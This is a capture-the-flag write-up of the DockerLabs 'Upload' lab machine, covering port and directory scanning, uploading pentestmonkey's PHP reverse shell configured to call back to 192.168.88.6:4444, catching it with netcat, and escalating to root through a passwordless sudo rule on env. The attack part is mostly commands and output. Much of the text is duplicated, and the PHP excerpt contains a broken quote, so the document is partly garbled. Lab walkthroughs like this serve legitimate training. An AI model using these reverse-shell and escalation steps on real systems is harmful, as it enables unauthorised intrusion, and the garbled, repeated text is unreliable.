UPLOAD DOCKERLABS
UPLOAD
┌──(root㉿kali)-[/home/luis/Descargas/upload]
└─# bash auto_deploy.sh upload.tar
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
┌──(root㉿kali)-[/home/luis]
└─# ping -c3 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.219 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.081 ms
--- 172.17.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2049ms
rtt min/avg/max/mdev = 0.052/0.117/0.219/0.072 ms
Once the host was identified, Nmap, a port scanning tool, was used to discover which services were running on the machine. The scan revealed port 80 (HTTP) was open.
┌──(root㉿kali)-[/home/luis]
└─# nmap -n -Pn -p- --min-rate 5000 172.17.0.2 -vvv -sV 2>/dev/null
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 12:51 CEST
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 12:51
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 12:51, 0.17s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:51
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 12:51, 1.31s elapsed (65535 total ports)
Initiating Service scan at 12:51
Scanning 1 service on 172.17.0.2
Completed Service scan at 12:51, 6.05s elapsed (1 service on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.03s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.02s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000010s latency).
Scanned at 2025-10-11 12:51:41 CEST for 8s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu))
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
With the web service identified on port 80, the next step was to search for hidden directories and files. The Gobuster tool was used with a common wordlist for this purpose as you can see below, but gobuster discovered an interesting directory named /upload.php. This finding suggested the existence of upload a malicious file that could be a target for a vulnerability.
┌──(root㉿kali)-[/home/luis]
└─# gobuster dir -u "http://172.17.0.2/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x bak,txt,php,tar,js,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: bak,txt,php,tar,js,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 1361]
/uploads (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
/upload.php (Status: 200) [Size: 1357]
└─# bash auto_deploy.sh upload.tar
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
┌──(root㉿kali)-[/home/luis]
└─# ping -c3 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.219 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.081 ms
--- 172.17.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2049ms
rtt min/avg/max/mdev = 0.052/0.117/0.219/0.072 ms
Once the host was identified, Nmap, a port scanning tool, was used to discover which services were running on the machine. The scan revealed port 80 (HTTP) was open.
┌──(root㉿kali)-[/home/luis]
└─# nmap -n -Pn -p- --min-rate 5000 172.17.0.2 -vvv -sV 2>/dev/null
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 12:51 CEST
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 12:51
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 12:51, 0.17s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:51
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 12:51, 1.31s elapsed (65535 total ports)
Initiating Service scan at 12:51
Scanning 1 service on 172.17.0.2
Completed Service scan at 12:51, 6.05s elapsed (1 service on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.03s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.02s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000010s latency).
Scanned at 2025-10-11 12:51:41 CEST for 8s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu))
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
With the web service identified on port 80, the next step was to search for hidden directories and files. The Gobuster tool was used with a common wordlist for this purpose as you can see below, but gobuster discovered an interesting directory named /upload.php. This finding suggested the existence of upload a malicious file that could be a target for a vulnerability.
┌──(root㉿kali)-[/home/luis]
└─# gobuster dir -u "http://172.17.0.2/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x bak,txt,php,tar,js,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: bak,txt,php,tar,js,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 1361]
/uploads (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
/upload.php (Status: 200) [Size: 1357]
In addition, we are going to this webpage yo create the reverse Shell as you can see below.
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:>
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.88.6";
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
Now, we have to upload malicious file which we should be able to get reverse shell into the victim machine as you can se below.
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:>
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.88.6";
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
Now, we have to upload malicious file which we should be able to get reverse shell into the victim machine as you can se below.
┌──(root㉿kali)-[/home/luis]
└─# nc -lvp 4444
listening on [any] 4444 ...
172.17.0.2: inverse host lookup failed: Unknown host
connect to [192.168.88.6] from (UNKNOWN) [172.17.0.2] 36098
Linux 386e8f7cb8c4 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64 x86_64 x86_64 GNU/Linux
13:02:49 up 20 min, 0 users, load average: 0.90, 1.74, 1.81
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@386e8f7cb8c4:/$
Now, we must execute the next commands to create persistence in the machine you can see below which are:
- script /dev/null -c bash
- ^Z
- stty raw -echo;fg
- reset xterm
- export TERM=xterm
- export SHELL=BASH
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@386e8f7cb8c4:/$ ^Z
zsh: suspended nc -lvp 4444
┌──(root㉿kali)-[/home/luis]
└─# stty raw -echo;fg
[1] + continued nc -lvp 4444
reset xterm
www-data@386e8f7cb8c4:/$ export SHELL=BASH
www-data@386e8f7cb8c4:/$ export TERM=xterm
Script started, output log file is '/dev/null'.
www-data@386e8f7cb8c4:/$ ^Z
zsh: suspended nc -lvp 4444
┌──(root㉿kali)-[/home/luis]
└─# stty raw -echo;fg
[1] + continued nc -lvp 4444
reset xterm
www-data@386e8f7cb8c4:/$ export SHELL=BASH
www-data@386e8f7cb8c4:/$ export TERM=xterm
In addition, we can discover with sudo -l command the escalate privilege as you can see below with the next steps:
- sudo -l (To listing perms)
- sudo -u "root" env /bin/bash (To exploting vulnerability)
www-data@386e8f7cb8c4:/$ sudo -l
Matching Defaults entries for www-data on 386e8f7cb8c4:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on 386e8f7cb8c4:
(root) NOPASSWD: /usr/bin/env
Matching Defaults entries for www-data on 386e8f7cb8c4:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on 386e8f7cb8c4:
(root) NOPASSWD: /usr/bin/env
We as see the gallery user should be able to convert in this user and we have to the gtobins website and obtain more information as you can see below.
www-data@386e8f7cb8c4:/$ sudo -u "root" env /bin/bash
root@386e8f7cb8c4:/# whoami
root
root@386e8f7cb8c4:/# whoami
root
Thank you very much for reading this article
I hope you liked and learned something new
This article has been done with ethical proposes
Good Hack
Comments
Post a Comment